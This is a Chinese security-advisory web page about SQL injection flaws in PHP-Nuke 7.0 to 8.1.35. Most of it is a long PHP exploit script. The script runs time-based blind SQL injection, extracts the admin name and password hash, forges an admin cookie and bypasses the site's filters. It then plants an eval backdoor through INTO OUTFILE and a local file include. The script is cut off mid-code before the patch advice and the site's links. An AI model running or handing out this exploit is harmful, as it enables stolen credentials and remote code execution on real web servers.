Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / PHP-Nuke多个SQL注入漏洞

发布日期:2010-05-04
更新日期:2010-05-06受影响系统:
PHP-Nuke PHP-Nuke 8.1.35
PHP-Nuke PHP-Nuke 8.1
PHP-Nuke PHP-Nuke 7.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 39922PHP-Nuke是一个广为流行的网站创建和管理工具,可使用很多数据库软件作为后端,如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。PHP-Nuke没有正确地过滤提交给/modules/Journal/savenew.php页面的mood变量,以及提交给/modules/Your_Account/admin/index.php页面的chng_user变量。远程攻击者可以通过提交恶意查询请求执行SQL注入攻击,完全入侵数据库系统。<*来源:Michael Brooks
 
  链接:http://blog.sitewat.ch/2010/05/vulnerabilities-in-php-nuke.html
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!#!/usr/bin/php  <?php  set_time_limit(0);  //The blind_sql_injeciton calss is a general exploit framework that we are inheriting.  class php_nuke_blind_sql_injection extends blind_sql_injection {      //This is the blind sql injection request.      function query($check){          //Rate limiter to bypass ipban.php"s protection.          //Must stay below 5 requests every 2 seconds.          if(!($this->request_count%4)){              sleep(2);          }          //build the http request to Inject a query:          //This is a simple get request with a custom referer           //$this->set_referer(""="/*"  (select ".$check." from nuke_authors limit 1))-- */");          $this->set_referer(""=(select ".$check." from nuke_authors limit 1))-- 1");          /*example get and post request.          *$this->set_get("id=1 or (select ".$check." from nuke_authors limit 1))";//$_GET[id]          *$this->set_post("id=1 or (select ".$check." from nuke_authors limit 1))");//$_POST[id]          */     }  }  //This is a very efficient blind sql injection class.   class blind_sql_injection{      var $url, $backup_url, $result, $http, $request_count, $timeout;      function blind_sql_injection($url,$timeout=10){          $this->request_count=0;          $this->url=$url;          $this->backup_url=$url;          $this->http=new http_client();          $this->timeout=$timeout;      }      function set_get($get){          $this->url=$this->url."?".$get;      }      function set_referer($referer){          $this->http->referer=$referer;      }      function set_post($post){          $this->http->postdata=$post;      }      function test_target(){          return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)");      }      function num_to_hex($arr){          $ret="";          foreach($arr as $a){              if($a<=9){                  $ret.=$a;              }else{                  $ret.=chr(87+$a);              }          }          return $ret;      }      //Looking for a string of length 32 and base 16 in ascii chars.      function find_md5($column){          return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)"));      }      function find_sha1($column){          return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)"));      }      //Look for an ascii string of arbitrary length.      function find_string($column){          $ret="";          //A length of zero means we are looking for a null byte terminated string.          $result=$this->bin_finder(128,0,"ascii(substring($column,%s,1))");          foreach($result as $r){              $ret.=chr($r);          }          return $ret;      }      //query() is a method that generates the sql injection request      function query($check){          //This function must be overridden.      }      function recheck($result,$question,$base){         $this->bin_finder($base,1,$question,$start);         //Force a long timeout.         $tmp_timeout=$this->timeout;         if($this->timeout<10){            $this->timeout=10;         }else{            $this->timeout=$this->timeout*2;         }         $l=1;         foreach($result as $r){            if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){                $result[]=$b;                break;            }            $l++;         }         $this->timeout=$tmp_timeout;      }      function linear_finder($base,$length,$question){          for($l=1;$l<=$length;$l++){              for($b=0;$b<$base;$b++){                  if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){                      $result[]=$b;                      break;                  }              }          }      }      #Binary search for mysql based sql injection.      function bin_finder($base,$length,$question){           $start_pos=1;          $result="";          for($cur=$start_pos;$cur<=$length||$length==0;$cur++){              $n=$base-1;              $low=0;              $floor=$low;              $high=$n-1;              $pos= $low+(($high-$low)/2);              $found=false;              while($low<=$high&&!$found){                  #asking the sql database if the current value is greater than $pos                 if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){                      #if this is true then the value must be the modulus.                      if($pos==$n-1){                         $result[]=$pos+1;                         $found=true;                      }else{                          $low=$pos+1;                      }                  #asking the sql database if the current value is less than $pos                 }else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){                     #if this is true the value must be zero, or in the case of ascii,  a null byte.                     if($pos==$floor+1){                          $found=true;                          #We have found the null terminator so we have finnished our search for a string.                          if($length==0){                              $length=-1;                          }else{                              $result[]=$pos-1;                          }                      }else{                          $high=$pos-1;                      }                  }else{                      #both greater than and less then where asked, so so then the answer is our guess $pos.                      $result[]=$pos;                      $found=true;                  }                  $pos=$low+(($high-$low)/2);              }              print(".");          }          return $result;      }      //Fire off the request      function send($quesiton){          //build the injected query.          $this->query($quesiton);          $start=time();          $resp=$this->http->send($this->url);          //backup_url is for set_get()          $this->url=$this->backup_url;          $this->request_count++;          return (time()-$start>=$this->timeout);      }      //retroGod RIP      function charEncode($string){          $char="char(";          $size=strlen($string);          for($x=0;$x<$size;$x++){              $char.=ord($string[$x]).",";          }          $char[strlen($char)-1]=")%00";          return $char;      }  }  //General purpose http client that works on a default php install.   class http_client{      var $proxy_ip="", $proxy_port="", $proxy_name="", $proxy_pass="", $referer="",$cookie="",$postdata="";      function send($loc){           //overload function polymorphism between gets and posts           $url=parse_url($loc);           if(!isset($url["port"])){              $url["port"]=80;          }           $ua="Firefox";           if($this->proxy_ip!=""&&$this->proxy_port!=""){              $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );              $url["path"]=$url["host"].":".$url["port"].$url["path"];           }else{              $fp = fsockopen( $url["host"], $url["port"], &$errno, &$errstr, 120 );           }           if( !$fp ) {              print "$errstr ($errno)<br> n";              return false;           } else {              if( $this->postdata=="" ) {                  $request="GET ".$url["path"]."?".$url["query"]." HTTP/1.1 ";              } else {                  $request="POST ".$url["path"]."?".$url["query"]." HTTP/1.1 ";              }              if($this->proxy_name!=""&&$this->proxy_pass!=""){                  $request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)." ";              }              $request.="Host: ".$url["host"].":".$url["port"]." ";              $request.="User-Agent: ".$ua." ";              $request.="Accept: text/plain ";              if($this->referer!=""){                  $request.="Referer: ".$this->referer." ";              }              $request.="Connection: Close ";              if($this->cookie!=""){                  $request.="Cookie: ".$this->cookie." " ;              }              if( $this->postdata!="" ) {                  $strlength = strlen( $this->postdata );                  $request.="Content-type: application/x-www-form-urlencoded " ;                  $request.="Content-length: ".$strlength." ";                  $request.=$this->postdata;              }              fputs( $fp, $request." " );                 while( !feof( $fp ) ) {                     $output .= fgets( $fp, 1024 );                 }              fclose( $fp );              //php_nuke only:              if(strstr($output,"too many page loads")){                  print "REQUEST CAP HIT! ";                  print_r(debug_backtrace());                  print "REQUEST CAP HIT! ";                  die();              }              return $output;           }      }      //Use a http proxy      function proxy($proxy){ //user:pass@ip:port          $proxyAuth=explode("@",$proxy);          if(isset($proxyAuth[1])){              $login=explode(":",$proxyAuth[0]);              $this->proxy_name=$login[0];              $this->proxy_pass=$login[1];              $addr=explode(":",$proxyAuth[1]);          }else{              $addr=explode(":",$proxy);          }           $this->proxy_ip=$addr[0];          $this->proxy_port=$addr[1];      }      //Parses the results from a PHP error to use as a path disclosure.      function getPath($url,$pops=1){          $html=$this->send($url);          //Regular error reporting:          $resp=explode("array given in <b>",$html);          if(isset($resp[1])){              $resp = explode("</b>",$resp[1]);          }else{              //xdebug"s error reporting:              $resp=explode("array given in ",$html);              if(isset($resp[1])){                  $resp = explode(" ",$resp[1]);              }else{                  $resp[0]=false;              }          }          $path=$resp[0];          //Can"t use dirname()          if(strstr($path,"\")){             $p=explode("\",$path);             for($x=0;$x<$pops;$x++){                 array_pop($p);             }             $path=implode("\",$p);          }else{             $p=explode("/",$path);             for($x=0;$x<$pops;$x++){                 array_pop($p);             }             $path=implode("/",$p);          }          return $path;      }      //Grab the server type from the http header.      function getServer($url){          $resp=$this->send($url);          $header=explode("Server: ",$resp);          $server=explode(" ",$header[1]);          return $server[0];      }  }  function main(){     $user_input=getopt("t:c:a:");     if($user_input["t"]){        $attack_url=$user_input["t"];        if($user_input["c"]){           $user_cookie=$user_input["c"];        }        //This is only useful for debugging,  so its not listed in the useage.        if($user_input["a"]){           $admin_cookie=$user_input["a"];        }     }else{        print("Useage: ./php_exploit -t http://localhost ");        die("A user"s cookie is required for 8.1.35 : ./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng== ");     }     $attack_url=str_replace("index.php","",$attack_url);     $http=new http_client();     $sex=new php_nuke_blind_sql_injection($attack_url."/");     if(!$admin_cookie){        //This is what a cookie looks like:        //2:user_name:21232f297a57a5a743894a0e4a801fc3:10::0:0:0:0:DeepBlue:4096        //$user_cookie="user=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2";        if($user_cookie){          print "Using cookie... ";          $http->cookie=$user_cookie;          //1337+30000 is used as a pivot in parsing,  and to test for a sucessful injection.          //This is NOT Blind SQL Injection,  we will be reading the result.  This attack works with magic_quotes_gpc on or off.          $http->postdata="title=wow\&bodytext=/*&mood=".urlencode(""*/,0,0,1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry";          $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");          //This part of the exploit is a bit strange sorry for the mess,  gotta realease!          if(strstr($response,"javascript:history.go(-1)")){              //magic_quotes_gpc=on              $http->postdata="title=wow&jbodytext=text&mood=".urlencode("",1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry";              $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");              $http->postdata="";              //Find the primary key of the journal entry we just created.              $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");              //we should have the single quote that we escaped at the end of wow"              $jid=explode("">wow<",$jid);              $jid=explode("jid=", $jid[0]);              //Check the journal for the admin"s username/password hash              $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]);              if(strpos($response,"31337")){                 list($junk,$aid,$pwd)=explode("31337 @ ",$response);                 $aid=explode("<",$aid);                 $pwd=explode("<",$pwd);                 $user_name=$aid[0];                 $pass_hash=$pwd[0];              }else{                 //magic_quotes_gpc=off                 sleep(3);                 $http->postdata="title=wow\&jbodytext=/*&mood=1&status=".urlencode("no",(select aid from nuke_authors limit 1),(select pwd from nuke_authors limit 1))-- 1")."&submit=Add+New+Entry";                 $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");                 sleep(2);                 $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");                 $jid=explode("">wow<",$jid);                 $jid=explode("jid=", $jid[0]);                 $jid=explode("">",$jid[1]);                 //Check the journal for the admin"s username/password hash                 $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[0]);                 $inj=explode("Last updated on ",$response);                 $inj=explode(" @ ",$inj[1]);                 $pass_hash=$inj[0];                 $inj=explode("<",$inj[1]);                 $user_name=$inj[0];              }          }else{              $http->postdata="";              //Find the primary key of the journal entry we just created.              $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");              //we should have the single quote that we escaped at the end of wow"              $jid=explode("">wow",<",$jid);              $jid=explode("jid=", $jid[0]);              //Check the journal for the admin"s username/password hash              $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]);              if(!strpos($response,"31337")){                 die("target has patched! ");              }else{                 print "Target vulnerable to a privilege escalation attack!!! ";                 list($junk,$aid,$pwd)=explode("31337 @ ",$response);                 $aid=explode("<",$aid);                 $pwd=explode("<",$pwd);                 $user_name=$aid[0];                 $pass_hash=$pwd[0];              }           }         }else{           $sex->sleep="sleep(5)";           print "Starting Attack Against:".$attack_url."/ ";           print "Testing for blind sql injection... ";           if(!$sex->test_target()){               print("Target might be running 8.1.35 ");               print("Try the privilege esciation attack to upload the shell:");               die("./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng== ");           }           print "Target is vulnerable to blind sql injection!!! ";           print "Please Standby For Attack... ";           $pass_hash=$sex->find_md5("pwd");           $user_name=$sex->find_string("aid");           print "attacked used:".$sex->request_count." requests. ";          }          print "Found Admin"s name:".$user_name." ";          print "Found MD5 Password hash:".$pass_hash." ";          $admin_cookie="admin=".base64_encode($user_name.":".$pass_hash.":").";";      }      print "Using Admin Session ID: ".$admin_cookie." ";      $http->cookie=$admin_cookie;      //ipban.php      sleep(3);      //This request will tell us what version of php-nuke it is.      //If it is 8, Then the page gives us configuration information to perserve.      $admin_options=$http->send($attack_url."/admin.php?op=general");      if(!strstr($admin_options,"Content-Length: 0")){          print "PHP-Nuke 8 detected. ";          $option_values=explode("value="",$admin_options);          $x=0;          array_shift($option_values);          //Parsing out and storing configuration values to restore them after the hack.           foreach( $option_values as $value){              $value=explode(""",$value);              $values[]=urlencode($value[0]);              if($x++==4)                  break;          }          //ipban.php          sleep(2);          //Enable error reporting          $http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=1&op=savegeneral";          $error_reporting=$http->send($attack_url."/admin.php");          //Path diclosure in add_pwd.  We will trigger a warning by passing md5() the array add_pwd[].          $http->postdata="add_name=junk&add_aid=junk&add_email=junk&add_url=junk&add_admlanguage=&auth_modules%5B%5D=23&add_radminsuper=1&add_pwd[]=junk&op=AddAuthor";          $remote_path=$http->getPath($attack_url."/admin.php",3);          sleep(2);          if(strstr($remote_path,":\")){              print "Windows box detected. ";              print "Remote path:$remote_path ";              print "Uploading backdoor... ";              $remote_path=addslashes(addslashes($remote_path."\frontend.php"));              $backdoor="get_magic_quotes_gpc()?eval(stripslashes($_GET["e"])):eval($_GET["e"])";              //Could have used a concat but php-nuke filters for it.  This hides <> from the xss filter.              //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php              $http->postdata="chng_uid=".urlencode("" union/**/ select ".$sex->charEncode("<?php").","".$backdoor."",".$sex->charEncode("?>").","","","","","","","","","","","","","","","" into outfile "".$remote_path.""-- 1");              $re=$http->send($attack_url."/admin.php?op=modifyUser");              //Disable error reporting              $http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=0&op=savegeneral";              $error_reporting=$http->send($attack_url."/admin.php");          }else{              print "*nix box detected. ";              print "Remote path:$remote_path ";              //Is mysql on the same machine as the httpd?              sleep(2);              $http->postdata="chng_uid=".urlencode("" or 1=(select if(substring(load_file("".$remote_path."/index.php"),1,1)="<",0,1))-- 1");              $mysql_check=$http->send($attack_url."/admin.php?op=modifyUser");              if(strstr($mysql_check,"User Doesn"t Exists!")){                  print("MySQL isn"t on the same machine or you do not have file privileges. ");                  die("Remote code execution failed ");              }              print "Uploading backdoor... ";              //ipban.php              sleep(2);              //Grab the theme,  this is needed to repair the database after the LFI              $theme=$http->send($attack_url."/admin.php?op=themes");              $theme=explode("src="themes/",$theme);              $theme=explode("/images/",$theme[1]);              //Repair the database after the LFI.              $backdoor_installer="function OpenTable(){} function themeheader(){} $db->sql_query("update ".$prefix."_config set Default_Theme=".$sex->charEncode($theme[0]).", display_errors=0");";              //This is a magic_quotes_gpc and mysql safe backdoor that fits on one line.              $backdoor="get_magic_quotes_gpc()?eval(stripslashes(".chr(36)."_GET[".chr(34)."e".chr(34)."])):eval(".chr(36)."_GET[".chr(34)."e".chr(34)."])";              //Install the backdoor in a relitive directory.              $backdoor_installer.="file_put_contents($_SERVER["DOCUMENT_ROOT"].dirname($_SERVER["SCRIPT_NAME"])."/frontend.php",chr(60)."?php ".$backdoor."?".chr(62));";              //charEncode is used to bypass XSS filters.               //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php              $http->postdata="chng_uid=".urlencode("" union/**/ select ".$sex->charEncode("<?php").","".$backdoor_installer."",".$sex->charEncode("?>").","","","","","","","","","","","","","","","" into outfile "/tmp/theme.php"-- 1");              $http->send($attack_url."/admin.php?op=modifyUser");              sleep(2);              //local file include vulnerablity to execute /tmp/theme.php              $http->postdata="xDefault_Theme=../../../../../../../../../../../tmp&xoverwrite_theme=0&op=savethemes";              $http->send($attack_url."/admin.php");              sleep(2);              $http->postdata="";              //Fire off a get request to trigger the uploaded php file using LFI              $http->send($attack_url);              sleep(2);              //Try the LFI again, just in case.              $http->send($attack_url."/admin.php");          }          sleep(2);          //test if the backdoor works,  try and clean up after the exploit.          $test_backdoor=$http->send($attack_url."/frontend.php?e=".urlencode("echo 31337;unlink("/tmp/theme.php");system("rm /tmp/theme.php");"));          if(strstr($test_backdoor,"31337")){              print "Remote Code execution tested successfully: ".$attack_url."/frontend.php?e=phpinfo()".urlencode(";")." ";          }else{              print "Backdoor install failed! ";          }      }else{          ////PHP-Nuke 7.0 Remote Code Execution Exploit using CVE-2004-1315 which affects the phpBB 2.0.6 module.          print "PHP-Nuke 7 detected. ";          $http->postdata="";//send get requests.          //Fire off a check for CVE-2004-1315,  phpbb maybe installed.           //This is more like the oringal CVE-2004-1315: %2527.printf(20041315).%2527          //php-nuke was not vulnerable to this because of mainfile line 50: ([^>]*"?[^)]*)          //to byapss this check double urlencode the parren () %2527.printf%252820041315%2529.%2527          $try_exploit=$http->send($attack_url."/modules.php?name=Forums&file=viewtopic&t=1&highlight=%2527.printf%252820041315%2529.%2527");          //if the exploit didn"t work,  then we might have to enable phpbb and populate it.          if(!strstr($try_exploit,"20041315")){              //Enalbe PHPBB              $http->send($attack_url."/admin.php?op=module_status&mid=22&active=1");              //create a new category for phpbb              $http->postdata="mode=addcat&categoryname=test&addcategory=Create+new+category";              $t=$http->send($attack_url."/modules/Forums/admin/admin_forums.php");      建议:
--------------------------------------------------------------------------------
厂商补丁:PHP-Nuke
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://phpnuke.org/PHP-Nuke viewslink模块SQL注入漏洞PHP-Nuke绕过识别码验证漏洞相关资讯      漏洞 
  • 快递官网漏洞泄露 1400 万用户信息  (08/12/2014 08:37:42)
  • 要389目录服务器访问绕过漏洞  (10/01/2012 09:18:08)
  • ASUS Net4Switch "ipswcom.dll"   (03/02/2012 09:32:42)
  • 软件漏洞是一笔大买卖!  (10/06/2012 08:28:32)
  • PHPCMS V9.1.13任意文件包含漏洞分  (08/01/2012 07:23:17)
  • Open Handset Alliance Android   (03/01/2012 06:59:34)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款